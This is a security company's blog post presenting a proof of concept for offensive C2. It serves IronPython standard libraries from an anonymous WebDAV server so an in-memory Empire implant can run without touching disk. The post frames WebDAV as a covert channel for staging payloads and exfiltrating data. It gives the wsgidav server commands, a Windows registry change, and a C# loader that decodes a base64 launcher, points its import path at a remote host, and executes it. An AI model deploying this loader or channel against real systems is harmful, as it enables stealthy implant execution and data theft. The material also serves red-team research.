email info@BC-Security.org

Top Categories

Spotlight

todayOctober 10, 2024

Offensive Security Tools Cx01N

Not Your Grandfather’s Empire

Not Your Grandfather’s Empire I’ve wanted to put this blog together since returning home from DEFCON. Anytime we ran into someone who recognized our swag, they mentioned how much they loved Empire back in the day and didn’t realize it was being actively maintained. This made me reflect on all [...]


Weaponizing WebDAV for Offensive Security

Cyber Security Cx01N todayFebruary 7, 2022 1359 1

Background
share close

Today, we will talk about combining two fascinating Tactics, Techniques, and Procedures (TTPs) together for deploying Command and Control (C2): IronPython and WebDAV. If you read our previous blog post about IronNetInjector, you will see that there are a number of things to consider when bringing your own interpreter.

In this blog post, we will walk through our Proof of Concept (POC) that demonstrates using Offensive WebDAV as part of an attack chain. Our POC uses C# and IronPython to reduce the overhead of bringing along your Python Standard Libraries and allows for a separate channel for infil/exfil of data.

Objectives

First, let’s outline what we want to accomplish. In our previous blog post, one of the major limitations of an IronPython implant is that it requires the Python standard libraries to be available locally. We initially solved this problem by either dropping the library to disk or bundling it into the implant. However, the bundling results in a fairly large implant and dropping files to disk leaves behind a footprint and cleanup that is not ideal. After our previous post, we wanted to cut down as much overhead as possible when running in memory without hitting the disk (plus, we want to experiment a bit). So we had three primary objectives:

  1. Have the libraries accessible without hitting disk
  2. Cut down on web traffic
  3. Minimize payload

Our first idea was to use a package called HTTPImport, which allows you to remotely load packages/modules and import them directly into the Python interpreter’s memory. With this package, we could use an existing instance of the files anywhere on the internet like GitHub. It seemed like an ideal solution, however, we quickly realized there was one small problem. We would have to re-engineer the Empire agent since it has a different import syntax. Unfortunately as a result, this method was shelved until another time.

What is WebDAV?

However, we are lucky to have another method available to us: WebDAV (Web Distributed Authoring and Versioning). WebDAV is a set of extensions to HTTP, which allows users to collaboratively author content directly on an HTTP server by providing facilities for concurrency control and namespace operations. Thus, WebDav can be viewed as a writeable, collaborative medium and not just a read-only form. Many modern operating systems provide built-in client-side support for WebDAV.

WebDAV provides a framework for users to create, change and move documents on a server, which includes:

  • Maintenance of properties (Creation, Deletion, Querying)
  • Modification date
  • Namespace management (Copy and Move)
  • Overwrite protection
WebDAV collaborative authoring – Source: WebDAV Wiki

What this means is that the protocol basically allows software to treat the remote HTTP(S) server as a mountable drive, similar to how Windows will let users mount OneDrive locations as local drives. Thus you can mount a file share from virtually anywhere on the internet. WebDAV allows us to host this server anywhere we want and even mask it behind another domain, giving us a semi-covert way to access the Python Standard Libraries. This method also provides an opportunity to move data in and out of the target network. We are essentially creating a secondary C2 channel for staging payloads or exfiltrating data.

WebDAV Server

To be able to host the IronPython3 libraries, we will need to first download them to the WebDAV hosting server. We recommend putting them into a directory that is easy to access, such as the temp directory.

IronPython3 standard libraries are hosted in the temp directory.

Before we deploy the IronPython agent we will have to setup our WebDAV server to actually serve up the Standard library files we just downloaded. To do this, you can keep it relatively simple and use the generic WebDAV server in Python, WsgiDAV. Below are basic instructions for installing and running WsgiDAV for your WebDAV server. You will want to have the authentication set to anonymous unless you plan on extending the agent to include authentication.

sudo pip3 install cheroot wsgidav
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp/Lib/ --auth=anonymous

We now have our standard library accessible on a remote server. Assuming everything is running properly, you should now get a successful call back using WebDAV, and be able to use it as an alternative infill/exfil channel for your C2. Sounds great, right? There are a few caveats, first, this setup does not use HTTPS (though WebDAV does support it) and more importantly, the server is set to anonymous access, meaning that ANYONE can read and write the files. There are mitigations that can be used, but there is still some future work to build this out entirely, but it proves you can remotely host the python libraries as a proof-of-concept.

WsgiDAV successfully started to host the Python libraries.

The WebDAV traffic would be encrypted in a real engagement, so it’s a bit less conspicuous, but this was just a PoC for remotely hosting the python libraries. There is still more work to be done, so please feel free to jump on our Discord and provide some ideas on future research topics.

Note: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WebClient\Parameters\BasicAuthLevel must be set to 2 if using HTTP or a self-signed certificate. Otherwise, if using an SSL certificate, no changes are required for Windows to allow the use of WebDAV

Registry key for HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WebClient\Parameters\BasicAuthLevel

So how do I use it?

Now that the WebDAV server is running and accessible how can we use it with IronPython? IronPython has an Object called SearchPaths, which is how the engine knows where to obtain the files. This object has an “Add” method and as documented, it expects the file path to a local file. However, it turns out that like many other software components, it is more than happy to accept a WebDAV endpoint as a search path. Now let’s walk through modifying the Empire IronPython Agent to use WebDAV instead.

Building the project is relatively easy. First, you’ll need to create Empire Python agent code or pull code from a different Python RAT. Once you generate the code, base64 encode it (using UTF-8) and embed it into the C# file. This could be something as simple as print('success') or something as complicated as a multi-staged payload like Empire.

The code is very similar to the Empire IronPython launcher, with a few changes on how to call back to the WebDAV server. The WebDAV server can be hosted anywhere, including the cloud or with your C2 server (which we highly recommend against).

string PyCode = "";
string B64PyCode = "{{BASE64_LAUNCHER}}";
byte[] ScriptBytes = Convert.FromBase64String(B64PyCode);
PyCode = Encoding.ASCII.GetString(ScriptBytes);

ScriptEngine engine = Python.CreateEngine();
var searchPaths = engine.GetSearchPaths();
searchPaths.Clear();

//searchPaths.Add(@"//192.168.223.128/Lib");
searchPaths.Add(@"{{SEARCHPATH_ADDRESS}}");
engine.SetSearchPaths(searchPaths);

var script = engine.CreateScriptSourceFromString(PyCode, SourceCodeKind.Statements);
script.Execute();

If you decide to go the Empire route, you’ll need to grab the base64 code from the launcher and replace the “BASE64_LAUNCHER”. The next part is optional, but you should clear out the search paths for the Python Engine. This is so there are no additional paths being loaded that could cause any issues during imports. However, if the standard libraries are found, then you could have it ignore the WebDAV server.

The next part is setting the search path for the libraries to be the web address of the WebDAV server. For example, we use “IP_ADDRESS/Lib” since it will have to be the directory of where the libraries are located. Another option is using a project like SharpWebServer and hosting a WebDAV server internal to the network with the necessary files. But, this could be picked up from a Network-based Intrusion Detection System (NIDS) relatively quickly if there is a competent blue team since host-to-host traffic in this instance would be highly suspicious.

Finally, you execute the agent inside of the engine and you should have an agent.

IronPython agent successfully beaconing back to the Empire server using WebDAV.

The agent staging should not look any different from the perspective of the Empire server or the agent. However, if you check the WebDAV server, you will notice that any imports from the agent will show up as files being accessed.

WebDAV traffic that shows files being accessed for Python imports.

Conclusion

This is the first application that we have seen that uses WebDAV as part of an offensive infrastructure. There are many potentials here for leveraging staging and exfiltrating data that could be expanded upon in future research.

Written by: Cx01N

Tagged as: .

Rate it

Previous post